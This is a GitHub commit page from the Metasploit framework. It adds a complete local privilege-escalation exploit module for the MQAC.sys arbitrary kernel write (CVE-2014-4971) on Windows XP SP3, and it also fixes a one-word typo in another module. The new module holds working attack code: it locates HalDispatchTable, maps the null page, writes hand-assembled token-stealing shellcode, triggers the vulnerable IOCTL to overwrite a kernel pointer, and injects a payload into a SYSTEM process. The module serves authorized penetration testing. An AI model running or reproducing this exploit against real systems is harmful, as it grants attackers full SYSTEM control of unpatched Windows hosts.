Skip to content

Commit ddf0636

Browse files
committed
Land rapid7#3557 : MQAC arbitrary write priv esc XP SP3
2 parents 6048f21 + 7f79e58 commit ddf0636

File tree

2 files changed

+204
-1
lines changed

2 files changed

+204
-1
lines changed
Lines changed: 203 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,203 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
9+
class Metasploit3 < Msf::Exploit::Local
10+
Rank = AverageRanking
11+
12+
include Msf::Post::Windows::Priv
13+
include Msf::Post::Windows::Process
14+
15+
def initialize(info={})
16+
super(update_info(info, {
17+
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
18+
'Description' => %q{
19+
A vulnerability within the MQAC.sys module allows an attacker to
20+
overwrite an arbitrary location in kernel memory.
21+
22+
This module will elevate itself to SYSTEM, then inject the payload
23+
into another SYSTEM process.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Matt Bergin', # original exploit and all the hard work
29+
'Spencer McIntyre' # MSF module
30+
],
31+
'Arch' => [ ARCH_X86 ],
32+
'Platform' => [ 'win' ],
33+
'SessionTypes' => [ 'meterpreter' ],
34+
'DefaultOptions' =>
35+
{
36+
'EXITFUNC' => 'thread',
37+
},
38+
'Targets' =>
39+
[
40+
[ 'Windows XP SP3',
41+
{
42+
'_KPROCESS' => "\x44",
43+
'_TOKEN' => "\xc8",
44+
'_UPID' => "\x84",
45+
'_APLINKS' => "\x88"
46+
}
47+
],
48+
],
49+
'References' =>
50+
[
51+
[ 'CVE', '2014-4971' ],
52+
[ 'EDB', '34112' ],
53+
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt' ]
54+
],
55+
'DisclosureDate'=> 'Jul 22 2014',
56+
'DefaultTarget' => 0
57+
}))
58+
end
59+
60+
def find_sys_base(drvname)
61+
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
62+
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
63+
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
64+
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
65+
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
66+
67+
addresses.each do |address|
68+
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
69+
current_drvname = results['lpBaseName'][0..results['return'] - 1]
70+
if drvname == nil
71+
if current_drvname.downcase.include?('krnl')
72+
return [address, current_drvname]
73+
end
74+
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
75+
return [address, current_drvname]
76+
end
77+
end
78+
end
79+
80+
# Function borrowed from smart_hashdump
81+
def get_system_proc
82+
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
83+
local_sys = resolve_sid("S-1-5-18")
84+
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
85+
86+
this_pid = session.sys.process.getpid
87+
# Processes that can Blue Screen a host if migrated in to
88+
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
89+
session.sys.process.processes.each do |p|
90+
# Check we are not migrating to a process that can BSOD the host
91+
next if dangerous_processes.include?(p["name"])
92+
next if p["pid"] == this_pid
93+
next if p["pid"] == 4
94+
next if p["user"] != system_account_name
95+
return p
96+
end
97+
end
98+
99+
def open_device
100+
handle = session.railgun.kernel32.CreateFileA("\\\\.\\MQAC", "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil)
101+
if handle['return'] == 0
102+
print_error('Failed to open the \\\\.\\MQAC device')
103+
return nil
104+
end
105+
handle = handle['return']
106+
end
107+
108+
def check
109+
handle = open_device
110+
if handle.nil?
111+
return Exploit::CheckCode::Safe
112+
end
113+
session.railgun.kernel32.CloseHandle(handle)
114+
115+
os = sysinfo["OS"]
116+
case os
117+
when /windows xp.*service pack 3/i
118+
return Exploit::CheckCode::Appears
119+
when /windows xp/i
120+
return Exploit::CheckCode::Detected
121+
else
122+
return Exploit::CheckCode::Safe
123+
end
124+
end
125+
126+
def exploit
127+
if sysinfo["Architecture"] =~ /wow64/i
128+
print_error("Running against WOW64 is not supported")
129+
return
130+
elsif sysinfo["Architecture"] =~ /x64/
131+
print_error("Running against 64-bit systems is not supported")
132+
return
133+
end
134+
135+
if is_system?
136+
print_error("This meterpreter session is already running as SYSTEM")
137+
return
138+
end
139+
140+
kernel_info = find_sys_base(nil)
141+
base_addr = 0xffff
142+
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
143+
144+
handle = open_device
145+
return if handle.nil?
146+
147+
this_proc = session.sys.process.open
148+
unless this_proc.memory.writable?(base_addr)
149+
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ 1 ].pack("L"), nil, [ 0xffff ].pack("L"), "MEM_COMMIT|MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
150+
end
151+
unless this_proc.memory.writable?(base_addr)
152+
print_error('Failed to properly allocate memory')
153+
this_proc.close
154+
return
155+
end
156+
157+
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
158+
hKernel = hKernel['return']
159+
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
160+
halDispatchTable = halDispatchTable['return']
161+
halDispatchTable -= hKernel
162+
halDispatchTable += kernel_info[0]
163+
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
164+
165+
tokenstealing = "\x52" # push edx # Save edx on the stack
166+
tokenstealing << "\x53" # push ebx # Save ebx on the stack
167+
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
168+
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
169+
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
170+
tokenstealing << "\x8b\xc8" # mov ecx, eax
171+
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
172+
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
173+
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
174+
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
175+
tokenstealing << "\x75\xe8" # jne 0000101e ======================
176+
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
177+
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
178+
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
179+
tokenstealing << "\x5b" # pop ebx # Restores ebx
180+
tokenstealing << "\x5a" # pop edx # Restores edx
181+
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
182+
183+
shellcode = make_nops(0x200) + tokenstealing
184+
this_proc.memory.write(0x1, shellcode)
185+
this_proc.close
186+
187+
print_status("Triggering vulnerable IOCTL")
188+
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f, 1, 0x258, halDispatchTable + 0x4, 0)
189+
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
190+
191+
unless is_system?
192+
print_error("Exploit failed")
193+
return
194+
end
195+
196+
proc = get_system_proc
197+
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
198+
unless execute_shellcode(payload.encoded, nil, proc['pid'])
199+
fail_with(Failure::Unknown, "Error while executing the payload")
200+
end
201+
end
202+
203+
end

modules/exploits/windows/local/ms11_080_afdjoinleaf.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -126,7 +126,7 @@ def exploit
126126
if sysinfo["Architecture"] =~ /wow64/i
127127
print_error("Running against WOW64 is not supported")
128128
return
129-
elsif sysinfo["Architectore"] =~ /x64/
129+
elsif sysinfo["Architecture"] =~ /x64/
130130
print_error("Running against 64-bit systems is not supported")
131131
return
132132
end

0 commit comments

Comments
 (0)